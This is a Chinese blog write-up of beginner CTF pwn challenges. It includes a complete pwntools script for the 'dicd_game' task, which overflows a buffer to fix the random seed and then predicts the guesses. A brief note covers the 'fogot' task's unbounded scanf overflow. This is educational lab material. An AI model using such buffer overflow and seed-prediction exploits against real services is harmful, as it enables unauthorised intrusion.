pwn入门学习

这篇博客介绍了pwn初学者如何从dicd_game、fogot到Mary_Morton和hackme——echo等挑战进行学习。涉及了ctypes、动态链接库加载、缓冲区溢出、NX保护、canary机制、栈溢出利用、格式化字符串漏洞和系统调用等方面的知识,通过实例解析了攻防世界的pwn技巧。
摘要由CSDN通过智能技术生成

dicd_game

seed种子题,需要用到共享C dll函数的ctypes

from pwn import *
from ctypes import *

p=remote("111.198.29.45",55876)
cs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")							//载入此文件的C++库

#p=process("./pwn6")

p.recvuntil("name:")
cs.srand(0)																							//设置srand(0)

payload="a"*0x20+p64(0)																	//溢出使seed=0

p.sendline(payload)
y=0
for i in range(10):
	p.recvuntil("ur guess number:")
	y=cs.rand()%6+1
	p.sendline(str(y))

p.interactive()


加载动态链接库如果题目没给,LoadLibrary如果找出来的地址出错,可以用
ldd的方法查询一下

fogot

chsec,发现有一个NX一个PIE,看着很恐怖但题目其实很简单,系统中存在直接求得flag的函数
在这里插入图片描述
一共两次键入,第一次名字,限制了长度,第二次scanf,没有限制长度

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值